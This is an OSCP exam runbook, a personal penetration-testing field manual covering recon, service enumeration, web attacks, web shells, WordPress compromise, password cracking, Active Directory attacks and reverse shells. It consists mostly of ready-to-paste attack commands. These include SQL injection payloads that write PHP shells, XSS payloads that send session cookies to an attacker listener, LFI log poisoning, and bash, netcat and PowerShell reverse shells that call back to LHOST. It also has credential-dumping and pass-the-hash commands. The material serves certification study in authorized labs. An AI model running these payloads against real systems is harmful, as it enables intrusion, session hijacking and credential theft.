Lupo's OSCP Runbook

Offensive Security Certified Professional · PEN-200

Lupo's OSCP Runbook

Pixel-art catgirl on a laptop

A personal field manual for taking machine targets — from first packet to proof.txt. Recon and remote/local enumeration (Linux and Windows), a full web-attack playbook, web shells and WordPress, password cracking, brute force & spraying, split Active Directory enumeration / attacks / lateral movement, linPEAS & winPEAS parse guides, deep privesc, exploit compiling, a buffer-overflow walkthrough, pivoting and exfil — with the exact commands, the flags that matter, and the gotchas that eat exam hours. Tooling is current for a modern Kali box: nxc in place of CrackMapExec throughout.

exam-ready proof workflow nxc / NetExec check-offs save locally copy-ready commands
Start

New here? Read 00 · What OSCP Expects first — the report and screenshot rules decide whether your flags actually count.

The loop: Recon → Enumerate → Exploit → Escalate → Loot → re-enumerate at every new access level.

00

Start here

Welcome

This is a personal, exam-focused runbook for taking machine targets end to end — recon to proof.txt. It's built to be used during a box: skim to the right section, copy the exact command, and keep moving. Nothing here replaces hands-on practice. Hack boxes. Try exploits. Engage with the security community.

How to use it

01

Before you touch a box

What OSCP Expects — Report & Proof

The exam is graded on a report, not on a scoreboard — a flag you can't prove is worth zero. Read this section before the clock starts so every screenshot and note you take during the 24 hours is already report-ready. Structure current as of the Nov 2024 changes (the credential is now branded OSCP+).

The hard part is finding the way in, not the exploit itself. OSCP boxes rarely need novel or deep exploitation — the vulnerabilities are usually known and a public PoC works once you actually find it. The exam rewards breadth and methodology across many services, not depth in any one. So when you're stuck, the answer is almost always more enumeration — not a cleverer exploit.

The exam at a glance

Format & scoring — 70/100 to pass
4 machines · 100 pts3 standalone + one Active Directory set
Standalone ×3 — 60 pts20 each: 10 for the initial-access local.txt, 10 for the privesc proof.txt
AD set — 40 ptsa 3-host chain scored 10 / 10 / 20 — you generally need the whole chain to bank it
Pass = 70 ptscommon paths: full AD (40) + 3 local flags (30), or AD (40) + 1.5 standalone boxes
No bonus pointsthe old +10 for lab/exercise submissions was removed on 1 Nov 2024
Time~23h45m of hands-on, then a separate 24h window to write and submit the report

What every proof screenshot must show

This is where points are silently lost. A flag value pasted as text is not accepted — the grader needs a screenshot proving you read it live on the target. Every flag screenshot must contain, in a single frame:

the exact proof one-liners (run in the shell, then screenshot)
# Linux target — user flag and root flag
cat local.txt; id; ip a # from the user's home dir
cat /root/proof.txt; id; ip a # after root
# Windows target — user flag and SYSTEM/admin flag
type local.txt & whoami & ipconfig # from C:\Users\<user>\Desktop
type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig

The report — write it as you go

02

Orient

Setup & Mindset

Before touching the target, set up so every command below is copy-paste ready and your notes write themselves. Enumeration is the majority of the work — you will loop back to it after every foothold, credential, and privilege gain.

set up the workspace
export IP=10.10.10.10
export LHOST=10.10.14.5 # your tun0 IP
mkdir -p ~/boxes/$IP/{nmap,web,loot,exploits}
cd ~/boxes/$IP
03

Map the attack surface

Recon & Port Scanning

Sweep all TCP ports fast, then run version and script detection only against what is open. Kick off a UDP scan in the background — SNMP, TFTP, DNS and IKE hide there.

fast sweep → deep scan
# 1) Quick all-ports TCP sweep
nmap -p- --min-rate 1000 -T4 $IP -oN nmap/allports.txt
# 2) Extract the open ports into a variable
ports=$(grep -oP '^\d+(?=/tcp\s+open)' nmap/allports.txt | paste -sd,)
# 3) Deep version + default-script scan on just those ports
nmap -p$ports -sC -sV -O --version-all $IP -oN nmap/deep.txt
# UDP top-100 in the background while you work TCP
sudo nmap -sU --top-ports 100 -T4 $IP -oN nmap/udp.txt

Flags worth knowing

04

Interrogate every port

Service Enumeration

Enumerate every open port, cross-reference each version with searchsploit, and always try anonymous / guest / default access first. Modern Kali note: nxc (NetExec) replaces the deprecated CrackMapExec everywhere below.

Windows-native port sweep (living off the land)
Test-NetConnection -Port 25 <ip> # single port (alias: tnc)
tnc <ip> -Port 445 -InformationLevel Detailed
# sweep a list of ports
$ports=21,22,25,53,80,139,445,3389,5985
$ports | % { if((Test-NetConnection <ip> -Port $_ -WarningAction SilentlyContinue).TcpTestSucceeded){"$_ open"} }
# raw TCP connect (older hosts without tnc)
1..1024 | % { try{ (New-Object Net.Sockets.TcpClient).Connect('<ip>',$_); "$_ open" }catch{} }
arp -a ; route print ; ipconfig /all # local subnets for pivoting
Windows-native equivalents by service
ftp <ip> # FTP (native client)
ssh user@<ip> # SSH (Win10+ OpenSSH client)
Test-NetConnection -Port 25 <ip> # SMTP reachability
Resolve-DnsName -Type ANY domain.tld -Server <ip> # DNS (or nslookup -type=any domain.tld <ip>)
iwr http://<ip> -UseBasicParsing ; curl.exe -s http://<ip> # HTTP
net view \\<ip> /all ; Get-SmbShare ; net use \\<ip>\share # SMB
([adsisearcher]'(objectClass=user)').FindAll() | %{$_.Properties.samaccountname} # LDAP/AD
sqlcmd -S <ip> -U sa -P pass -Q 'SELECT @@version' # MSSQL
mstsc /v:<ip> # RDP
Enter-PSSession -ComputerName <ip> -Credential (Get-Credential) # WinRM / PSRemoting

FTP · 21

ftp
nmap -p21 --script ftp-anon,ftp-syst $IP
ftp $IP # user: anonymous / pass: anything
wget -m --no-passive ftp://anonymous:anonymous@$IP # mirror everything

SSH · 22

ssh
nc -nv $IP 22 # banner
ssh-audit $IP
ssh -i id_rsa user@$IP # chmod 600 id_rsa first; crack with ssh2john if encrypted

Rarely the entry point itself — you usually SSH in with creds found elsewhere. Password reuse wins here constantly.

SMTP · 25

smtp user enumeration
nmap -p25 --script smtp-commands,smtp-enum-users $IP
smtp-user-enum -M VRFY -U users.txt -t $IP # valid users feed later spraying

DNS · 53

zone transfer & subdomain brute
dig axfr @$IP domain.tld # jackpot when it works
dnsenum --dnsserver $IP domain.tld
dnsrecon -d domain.tld -t std -n $IP # std records + zone transfer attempt
dig ns domain.tld @$IP ; dig any domain.tld @$IP
gobuster dns -d domain.tld -r $IP -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

HTTP / HTTPS · 80 · 443 · 8080

fingerprint & content discovery
whatweb -a3 http://$IP ; curl -sI http://$IP
nmap -p80,443 --script http-enum,http-title $IP
# feroxbuster: fast + recursive
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak -t 50
# alternatives
gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -e .php,.txt,.bak
nikto -h http://$IP

Web is heavily weighted on the exam — see the full workflow in 06 · Web Application.

SMB · 139 · 445

null session & share hunting
sudo nbtscan -r $IP/24 # NetBIOS names across the subnet
nxc smb $IP # OS, hostname, domain, signing
nxc smb $IP -u '' -p '' --shares # null-session shares
nxc smb $IP -u guest -p '' --shares
enum4linux-ng -A $IP # users, groups, shares, policy
smbclient -L //$IP/ -N # list shares (null auth)
smbclient //$IP/share -N # connect; then: recurse ON, prompt OFF, mget *
smbmap -H $IP -u '' -p '' # read/write at a glance
with credentials
nxc smb $IP -u USER -p PASS --shares
nxc smb $IP -u USER -p PASS --users --groups --loggedon-users
nxc smb $IP -u USER -p PASS --pass-pol # policy first, then spray safely
nxc smb $IP -u USER -H NTHASH --shares # pass-the-hash
nxc smb $IP -M ms17-010 # EternalBlue check

SNMP · 161/udp

community strings & walk
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt $IP
snmpwalk -v2c -c public $IP
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2 # running processes — creds in cmdlines!
snmpbulkwalk -v2c -c public $IP 1.3.6.1.4.1.77.1.2.25 # windows users
snmpwalk -v2c -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects # custom scripts run by snmpd (RCE-ish)

POP3 / IMAP · 110 · 143 · 993 · 995

read mail for creds & leads
nc -nv $IP 110 # POP3: USER x / PASS y / LIST / RETR n
telnet $IP 143 # IMAP plaintext
openssl s_client -connect $IP:993 # IMAPS (993) / POP3S: -connect $IP:995
# IMAP once logged in (the leading '1' is just a request tag):
1 LOGIN user pass ; 1 LIST "" * ; 1 SELECT INBOX ; 1 FETCH 1 BODY[] # read a message
# nxc can spray/validate mail creds too: nxc <smtp|imap> $IP -u users.txt -p pass

LDAP · 389 · 636 · 3268

ldap
nxc ldap $IP -u '' -p ''
ldapsearch -x -H ldap://$IP -s base namingcontexts
ldapsearch -x -H ldap://$IP -b "DC=domain,DC=tld"
nxc ldap $IP -u USER -p PASS --asreproast asrep.txt

Other high-value ports

RPC · MSSQL · NFS · MySQL · RDP · WinRM
rpcclient -U '' -N $IP # enumdomusers, querydispinfo, enumdomgroups
impacket-mssqlclient USER:PASS@$IP -windows-auth # then enable_xp_cmdshell
showmount -e $IP # NFS exports; watch for no_root_squash
sudo mount -t nfs $IP:/export /mnt/nfs -o nolock
mysql -h $IP -u root -p # try root/blank, root/root
xfreerdp /v:$IP /u:USER /p:PASS /cert:ignore +clipboard /dynamic-resolution
nxc winrm $IP -u USER -p PASS # "(Pwn3d!)" = shellable
evil-winrm -i $IP -u USER -p PASS
05

Know the box you're on

Local Host Enumeration

The moment you land a shell — remotely or after a foothold — build a full picture of the machine before anything else: who you are, the OS and patch level, the network around you, users, what's running, scheduled jobs, storage, and the quick privesc-relevant finds. This feeds web pivots, AD, and privilege escalation (§18/§20). Automated scanners (linPEAS / winPEAS) run all of this and more, but reading it by hand first builds intuition and catches what they bury. The commands are split by OS below — use the Linux set or the Windows set depending on the box you landed on.

Linux

System & identity

who and what OS
id ; whoami ; sudo -l
hostname
cat /etc/issue
cat /etc/os-release
uname -a # kernel + arch → kernel-exploit matching
arch ; cat /proc/version

Users, processes & modules

who is here and what runs
grep -vE 'nologin|false' /etc/passwd # real login users
cat /etc/group ; getent group sudo adm docker lxd wheel
w ; who ; lastlog
ps aux # every process (owner + cmdline)
ps -ef --forest ; pspy64 # parent/child tree; watch cron/root live
lsmod # loaded kernel modules
/sbin/modinfo <module> # details of a specific module (vuln driver?)

Network

interfaces, routes, connections, firewall
ip a ; ifconfig # interfaces / addresses (extra NICs = pivots)
ip route ; route ; routel # routing table
ss -anp # sockets: listening + established, with process
netstat -ano # same, older tool
arp -a ; cat /proc/net/arp # neighbours on the subnet
cat /etc/hosts /etc/resolv.conf
cat /etc/iptables/rules.v4 # firewall rules (what's allowed out/in)

Scheduled jobs, software & storage

cron, packages, mounts
ls -lah /etc/cron* # /etc/cron.d, .daily, .hourly, crontab
crontab -l ; sudo crontab -l
dpkg -l # installed packages + versions (rpm -qa on RHEL)
cat /etc/fstab # mounts, sometimes creds
mount ; lsblk ; df -h # what's mounted / block devices
quick privesc-relevant finds
find / -perm -u=s -type f 2>/dev/null # SUID binaries → GTFOBins
find / -perm -g=s -type f 2>/dev/null # SGID binaries
find / -writable -type d 2>/dev/null # writable directories (drop payloads/PATH)
getcap -r / 2>/dev/null # file capabilities

Windows

Identity & users

who am I, what can I do, who else
whoami
whoami /groups # group memberships (integrity, well-known SIDs)
whoami /priv # privileges → token abuse (§20)
Get-LocalUser # local accounts (PowerShell)
net user <user> # a user's groups, last logon, flags
Get-LocalGroup # local groups
Get-LocalGroupMember Administrators # who is local admin
net localgroup administrators

System, network & processes

OS, patches, network, running processes
systeminfo ; hostname ; ver # OS + patch level → wesng
Get-HotFix ; wmic qfe get HotFixID # applied patches
ipconfig /all
route print
netstat -ano # connections + owning PID
arp -a ; Get-NetTCPConnection ; net view /domain
Get-Process # running processes (tasklist /v, tasklist /svc)
schtasks /query /fo LIST /v # scheduled tasks (SYSTEM ones matter)

Installed software (registry)

enumerate installed apps & versions
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname # 32-bit
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname # 64-bit
wmic product get name,version # WMI view (slower)
# match versions → searchsploit / exploit-db for a local-priv-esc or RCE
06

Where most footholds live

Web Application Enumeration

OSCP is web-heavy — spend real time here. Fingerprint the stack, brute content recursively, fuzz vhosts, parameters and APIs. The actual attack techniques (SQLi, XSS, traversal, LFI/RFI, upload, command injection) live in 07 · Web Attacks.

discovery
whatweb -a3 http://$IP ; curl -sI http://$IP
# recursive content discovery with extensions
feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php,txt,html,bak,zip,old -d 2
# virtual-host fuzzing (set -fs to the baseline 404 size)
ffuf -u http://$IP -H "Host: FUZZ.domain.tld" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234
# parameter fuzzing
ffuf -u "http://$IP/page.php?FUZZ=1" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 1234
# crawl the app for links/endpoints, and read file metadata for usernames
gospider -s http://$IP -d 2 -t 10 # spider to depth 2
exiftool *.pdf *.docx | grep -i author # author/creator names → usernames to spray

API discovery & testing

Modern apps expose REST and GraphQL APIs — often with weaker auth than the UI. Find the endpoints (docs, JS, brute), map the parameters, then test each object and method.

find API endpoints
# docs & schemas give you every route for free
curl -s http://$IP/swagger.json http://$IP/openapi.json http://$IP/api-docs
curl -s http://$IP/robots.txt ; grep -rioE '/api/[a-z0-9/_-]+' *.js # endpoints hidden in JS
# brute API paths & versions
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
ffuf -u http://$IP/api/vFUZZ/users -w <(seq 1 3)
# discover parameters a route accepts
arjun -u http://$IP/api/user -m GET
test the API
# method tampering — try GET/POST/PUT/DELETE/PATCH on each route
curl -X PUT http://$IP/api/user/1 -H 'Content-Type: application/json' -d '{"role":"admin"}'
# BOLA / IDOR — swap the object id to someone else's
curl http://$IP/api/user/2 -H "Authorization: Bearer <token>"
# missing auth — hit the endpoint with NO token at all
# mass assignment — add fields the UI never sends: isAdmin, role, verified
# GraphQL introspection — dump the whole schema
curl -s http://$IP/graphql -H 'Content-Type: application/json' -d '{"query":"{__schema{types{name fields{name}}}}"}'

Test-for checklist

07

Break the app

Web Attacks

The attack playbooks for the inputs you found while enumerating (§06). Match the technique to the sink; on OSCP a web bug is usually the foothold, so keep pushing until it's RCE or credentials.

Headers worth watching & abusing

Half of web exploitation lives in the headers — what the response tells you about the stack, and which request headers get logged, reflected, or trusted (and are therefore injection points). Watch them all in Burp or with curl -v.

Response headers — what they reveal
Server · X-Powered-Byexact stack & version → searchsploit
Set-Cookiesession cookie + flags (HttpOnly, Secure); predictable/guessable values
Locationredirect target → open-redirect / SSRF leads
WWW-AuthenticateBasic / NTLM auth (NTLM responses leak the internal hostname)
X-Forwarded-* · Viabehind a proxy → try header-based access-control bypass
Content-Security-Policyhow constrained an XSS payload will be
X-Debug · stack tracesleaked file paths, framework, and versions
Request headers — inject through these
Hostvhost routing, password-reset poisoning, cache poisoning, SSRF
User-Agentlogged → LFI log poisoning; sometimes reflected → XSS; a cmdi sink
Refererlogged → log poisoning; reflected → XSS
X-Forwarded-For · X-Real-IPspoof source IP → auth / rate-limit bypass, SSRF
X-Forwarded-Hostpoisons password-reset and absolute-URL links
Cookieoften trusted → SQLi / injection sink
AuthorizationJWT tampering (alg:none), Basic creds to crack
Content-Typeswitch to text/xml → XXE; application/json to dodge filters
inject through a header
# poison a log via User-Agent, then include it (LFI → RCE)
curl -s http://$IP/ -A '<?php system($_GET[c]); ?>' # then ?page=/var/log/apache2/access.log&c=id
# command injection through a header the app hands to a shell
curl http://$IP/ -H 'User-Agent: ; id' -H 'X-Forwarded-For: 127.0.0.1; id'
# XSS through a reflected header
curl http://$IP/ -H 'Referer: "><script>alert(1)</script>'
# access-control / rate-limit bypass by spoofing source
curl http://$IP/admin -H 'X-Forwarded-For: 127.0.0.1'
# host-header attacks (reset poisoning, routing, SSRF)
curl http://$IP/reset -H 'Host: LHOST' ; curl http://$IP/ -H 'X-Forwarded-Host: LHOST'

SQL Injection

Find the injection point, identify the DBMS, then extract. On the exam you must do this by hand — automated tools like sqlmap are not permitted. The sqlmap block below is for real-world engagements (and for grinding the tedious parts once you've proven the bug manually).

detect & auth bypass
# break the query — watch for errors or a changed response
' " ') ')) `
# classic login bypass (try in username, sometimes password)
' OR 1=1-- -
admin'-- -
' OR '1'='1
") OR ("1"="1"-- -
' OR 1=1 LIMIT 1;-- -
UNION-based extraction (the OSCP workhorse)
# 1) count columns — increment until it errors
' ORDER BY 1-- - (then 2, 3, ... until error -> last working number = column count)
' UNION SELECT NULL-- - (or add NULLs until no error)
' UNION SELECT NULL,NULL,NULL-- -
# 2) find which columns actually render on the page
' UNION SELECT 1,2,3-- - (note which numbers appear)
# 3) pull metadata into a visible column
' UNION SELECT NULL,@@version,NULL-- - # MySQL / MSSQL
' UNION SELECT NULL,version(),NULL-- - # PostgreSQL
' UNION SELECT NULL,banner,NULL FROM v$version-- - # Oracle (needs FROM dual/table)
# 4) enumerate the schema via information_schema (MySQL/MSSQL/Postgres)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
# 5) dump the credentials
' UNION SELECT NULL,concat(username,':',password),NULL FROM users-- -
blind — boolean & time based
' AND 1=1-- - (true -> normal page)
' AND 1=2-- - (false -> changed page)
' AND SUBSTRING((SELECT database()),1,1)='a'-- - (extract char by char)
' AND SLEEP(5)-- - # MySQL
'; WAITFOR DELAY '0:0:5'-- - # MSSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- - # PostgreSQL
read files & get RCE, by DBMS
# MySQL — read/write files (needs FILE priv; secure_file_priv must allow it)
' UNION SELECT NULL,LOAD_FILE('/etc/passwd'),NULL-- -
' UNION SELECT NULL,'<?php system($_GET[0]);?>',NULL INTO OUTFILE '/var/www/html/sh.php'-- -
# MSSQL — command exec via xp_cmdshell (stacked queries)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;-- -
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'-- -
# PostgreSQL — command exec
'; COPY (SELECT '') TO PROGRAM 'id'-- -
let sqlmap grind (NOT exam-allowed — real engagements only)
sqlmap -u "http://$IP/page.php?id=1" --batch --dbs
sqlmap -r request.txt --batch --level 5 --risk 3 # saved Burp request, deepest tests
sqlmap -u URL -p id --dbms mysql -D appdb -T users --dump
sqlmap -u URL --batch --os-shell # try to pop a shell
sqlmap -r request.txt --batch --tamper=space2comment # basic WAF/filter bypass

Cross-Site Scripting (XSS)

Inject JavaScript that runs in another user's browser — Reflected (echoed in this response), Stored (persisted and served to others), or DOM (a client-side sink). On OSCP, XSS is usually a stepping stone: steal an admin's session or make their browser act for you.

detect & basic payloads (match the context)
<script>alert(document.domain)</script>
"><script>alert(1)</script> # break out of an attribute value
<img src=x onerror=alert(1)> # when <script> is filtered
<svg/onload=alert(1)> # no spaces, short
javascript:alert(1) # in an href / URL sink
'-alert(1)-' ; ';alert(1)// # break out of a JS string context
weaponise — steal a session
# exfil the victim's cookie to your listener
<script>new Image().src='http://LHOST/c='+document.cookie</script>
<script>fetch('http://LHOST/?c='+document.cookie)</script>
# catch it: php -S 0.0.0.0:80 (or python3 -m http.server) and watch the log
# HttpOnly cookie? pivot instead: drive a privileged action as the admin, or keylog the page

Directory / Path Traversal

Read arbitrary files by escaping the intended directory — distinct from LFI: traversal just reads a file, LFI includes/executes it. Common in download, file, image and template parameters.

read files outside the web root
http://$IP/download?file=../../../../etc/passwd
?file=..%2f..%2f..%2fetc%2fpasswd # URL-encoded
?file=..%252f..%252fetc%252fpasswd # double-encoded (defeats one decode pass)
?file=....//....//etc/passwd # bypass naive ../ stripping
?file=/etc/passwd%00.png # null byte + expected extension (old)
# Windows
?file=..\..\..\windows\system32\drivers\etc\hosts
?file=..%5c..%5cwindows%5cwin.ini
# high-value reads: /etc/passwd, app config, ~/.ssh/id_rsa, source code, /etc/shadow

LFI → RCE — turn a file read into code execution

If a page includes a file whose path you control, escalate from reading files to running commands. Which technique works depends on the PHP config — try php://filter first, then wrappers, then log poisoning.

confirm LFI & read files
http://$IP/index.php?page=../../../../etc/passwd
?page=....//....//....//etc/passwd # bypass a single ../ strip
?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd # URL-encoded traversal
?page=/etc/passwd%00 # null byte (old PHP < 5.3.4)
?page=....//....//windows/win.ini # Windows target
PHP wrappers — read source or execute
# read PHP source as base64 (decode → find creds, paths, more LFI)
?page=php://filter/convert.base64-encode/resource=config.php
# execute via php://input (POST the PHP as the body)
curl -s "http://$IP/index.php?page=php://input" --data '<?php system("id"); ?>'
# execute via data:// (needs allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg==&0=id
# expect:// wrapper (if the module is loaded)
?page=expect://id
log poisoning → RCE (the reliable path)
# 1) inject PHP into a log the app will later include
curl -s http://$IP/ -A '<?php system($_GET[c]); ?>' # User-Agent → access.log
# SSH with username: <?php system($_GET[c]); ?> # → /var/log/auth.log
# 2) include the poisoned log and run commands
?page=/var/log/apache2/access.log&c=id
?page=/var/log/auth.log&c=id
?page=/proc/self/environ&c=id # poison via User-Agent, then include

Remote File Inclusion (RFI)

Rarer than LFI (needs allow_url_include=On), but instant RCE when present: the include path can be a URL you host.

host a payload, include it remotely
echo '<?php system($_GET[0]); ?>' > sh.txt ; python3 -m http.server 80
?page=http://$LHOST/sh.txt&0=id
?page=http://$LHOST/sh.txt%00 # old-PHP null-byte trick
# HTTP filtered on Windows? include over SMB instead:
?page=\\$LHOST\share\sh.php # host with impacket-smbserver

File Upload vulnerabilities

An upload that lands in a web-reachable directory and is served as server-side code = a shell. Get your file past the filter, find its URL, execute it (payloads in 08 · Web Shells).

find where it landed, then run it
feroxbuster -u http://$IP/uploads -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# the response or a Location header often reveals the stored path
curl "http://$IP/uploads/shell.php?c=id"

Command Injection

operators — chain your command onto theirs
; id # run after (Linux)
| id # pipe output of theirs into yours
|| id # run only if the first fails
&& id # run only if the first succeeds
`id` $(id) # inline command substitution
%0a id # URL-encoded newline
& whoami # background / chain (works on Windows too)
blind detection — prove execution first
; sleep 5 # Linux time delay
& ping -n 5 127.0.0.1 # Windows
; curl http://$LHOST/hit # OOB callback (watch python3 -m http.server)
; nslookup pwned.$LHOST # DNS exfil
filter & space bypass (Linux)
cat${IFS}/etc/passwd # ${IFS} in place of a space
cat</etc/passwd # redirection instead of space
{cat,/etc/passwd} # brace expansion
c''at /et''c/pa''sswd # break up a blacklisted word
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # base64 the whole command
upgrade to a reverse shell
; bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'
; busybox nc $LHOST 443 -e /bin/sh
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://LHOST/r.ps1')" # Windows
08

Land & drive a shell

Web Shells

Once you have file write — an upload, LFI/SQLi INTO OUTFILE, or a writable share mapped to the web root — drop a webshell, confirm execution, then upgrade to an interactive reverse shell. Match the language to the stack: PHP, ASP/ASPX, or JSP.

Ready-made shells that ship with Kali

where they live / generate one
ls /usr/share/webshells/{php,asp,aspx,jsp,perl}/
cp /usr/share/webshells/php/php-reverse-shell.php sh.php # edit $ip/$port inside first
ls /usr/share/laudanum/ ; ls /usr/share/nishang/Shells/ # richer shells
# or build with msfvenom, matched to the stack
msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw > sh.php
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o sh.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw > sh.jsp

Minimal one-line command shells

by language — upload/write, then call ?c=
# PHP
<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
<?php passthru($_GET['c']); ?>
# ASP (classic IIS)
<% eval request("c") %>
# ASPX — prefer msfvenom -f aspx or webshells/aspx/cmdasp.aspx (the one-liner is fiddly)
# JSP
<% Runtime.getRuntime().exec(request.getParameter("c")); %>

Drive it, then upgrade to a reverse shell

run commands and catch a real shell
curl "http://$IP/sh.php?c=id"
curl -G "http://$IP/sh.php" --data-urlencode 'c=whoami' # POST/encode if GET is filtered
# Linux target → reverse shell (URL-encode the payload)
curl "http://$IP/sh.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/443+0>%261'"
# Windows target
curl "http://$IP/sh.aspx?c=powershell+-c+IEX(New-Object+Net.WebClient).DownloadString('http://LHOST/r.ps1')"
# always start the listener first: rlwrap nc -lvnp 443

Upload filter bypasses

09

The web's most common CMS

WordPress & WPScan

WordPress powers a large share of the web, so it turns up constantly on exam-style boxes — and it fails in predictable ways: weak admin passwords, vulnerable plugins/themes, and leaked wp-config.php credentials. The play is always the same: fingerprint → enumerate users, plugins, themes → get admin (crack or a plugin CVE) → turn the admin panel into RCE.

Confirm it's WordPress, then hit the paths that matter

whatweb or a /wp-login.php that loads confirms it. Then walk the high-signal paths by hand — several give you version, usernames or creds without any tool:

WordPress paths worth checking
/wp-login.phpthe admin login form — where cracked creds go
/wp-admin/the dashboard; redirects to login unless you're authed — your goal is to reach it
/wp-admin/admin.php?page=…plugin admin pages once logged in
/readme.html · /wp-includes/version.phpcore WordPress version → known-vuln lookup
/wp-json/wp/v2/usersREST API user enumeration — often lists every author's slug/login as JSON
/?author=1 (…2,3)redirects reveal the login name for each user id
/xmlrpc.phplegacy API — enables fast password attacks (system.multicall) and pingback SSRF
/wp-content/plugins/ · /themes/installed plugins/themes; each folder often has a readme.txt with a version
/wp-content/uploads/where uploaded files (and your shell) land, by year/month
/wp-config.php · /wp-config.php.bak · /.wp-config.php.swpDB creds & auth keys if a backup/leak is served — instant loot
/wp-content/debug.logleaks paths, errors, sometimes tokens when WP_DEBUG is on

WPScan — enumerate the target

install / update, then enumerate
sudo gem install wpscan || sudo apt install wpscan
wpscan --update
# broad enumeration: users, all plugins/themes, config backups, db exports
wpscan --url http://$IP/ --enumerate u,ap,at,cb,dbe --plugins-detection aggressive
# u=users ap=all plugins at=all themes cb=config backups dbe=db exports
wpscan --url http://$IP/ -e u # just usernames (feeds the password attack)
with the token → vuln data, then a password attack
wpscan --url http://$IP/ --enumerate vp,vt --api-token <TOKEN> # only VULNERABLE plugins/themes
# password attack against found users (xmlrpc multicall = fast; falls back to wp-login)
wpscan --url http://$IP/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt \ --max-threads 50 --password-attack xmlrpc

From a flagged version to a shell

WPScan tells you e.g. “wpDiscuz 7.0.4 — vulnerable” with a CVE/title. Look it up (searchsploit wpdiscuz, the WPScan reference link, or Google the CVE) and run the PoC. If instead you cracked admin creds, you don't need a plugin bug at all — the dashboard is RCE:

authenticated RCE via the theme editor (most reliable)
# Appearance → Theme File Editor → pick an INACTIVE theme → edit 404.php:
<?php system($_GET['c']); ?>
# save, then trigger it (theme name = the folder you edited):
curl "http://$IP/wp-content/themes/twentytwentythree/404.php?c=id"
curl "http://$IP/wp-content/themes/twentytwentythree/404.php?c=" --data-urlencode \ "c=bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'" # → nc -lvnp 443
# or let Metasploit do the upload (your ONE MSF box):
msf> use exploit/unix/webapp/wp_admin_shell_upload # set RHOSTS/USERNAME/PASSWORD/TARGETURI
10

Get the first shell

Exploitation

find & build
searchsploit apache 2.4.49
searchsploit -m 50383 # mirror exploit to cwd
searchsploit -x 50383 # read it
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f exe -o shell.exe

Catch & stabilize the shell

upgrade to a real TTY
rlwrap nc -lvnp 443 # listener with history
# on the target (Linux):
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl-Z to background, then on Kali:
stty raw -echo; fg
# press Enter twice

Password attacks

online brute & offline cracking
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://$IP
hydra -l admin -P rockyou.txt $IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
hashcat -m 0 hashes.txt rockyou.txt # 0=MD5 1000=NTLM 1800=sha512crypt 3200=bcrypt
john --wordlist=rockyou.txt hashes.txt
ssh2john id_rsa > id_rsa.hash ; john id_rsa.hash

Active Directory quick hits

the AD set has its own rhythm
kerbrute userenum -d domain.tld --dc $IP users.txt
impacket-GetNPUsers domain.tld/ -usersfile users.txt -no-pass # AS-REP roast
impacket-GetUserSPNs domain.tld/USER:PASS -dc-ip $IP -request # Kerberoast
bloodhound-python -u USER -p PASS -d domain.tld -ns $IP -c All
impacket-secretsdump domain.tld/USER:PASS@$IP # needs privs
evil-winrm -i $IP -u USER -H NTHASH # pass-the-hash
11

Call back & catch it

Reverse Shells & Handlers

A reverse shell makes the target connect back to your listener. Pick a payload the target can actually run, catch it, then stabilise it. When a raw one-liner won't fire, encode it (base64 / URL) or package it with msfvenom; catch staged and Meterpreter payloads with multi/handler.

Start a listener

on Kali — catch the callback
rlwrap nc -lvnp 443 # rlwrap gives arrow-key history in the caught shell
nc -lvnp 443 # plain
pwncat-cs -lp 443 # auto-stabilises + upload/download built in
# prefer 443 / 80 / 53 — commonly allowed outbound even when egress is filtered

Linux reverse shells (try a few — depends what's installed)

one-liners
bash -c 'bash -i >& /dev/tcp/$LHOST/443 0>&1'
sh -i >& /dev/tcp/$LHOST/443 0>&1
# no bash /dev/tcp? use an interpreter that's present:
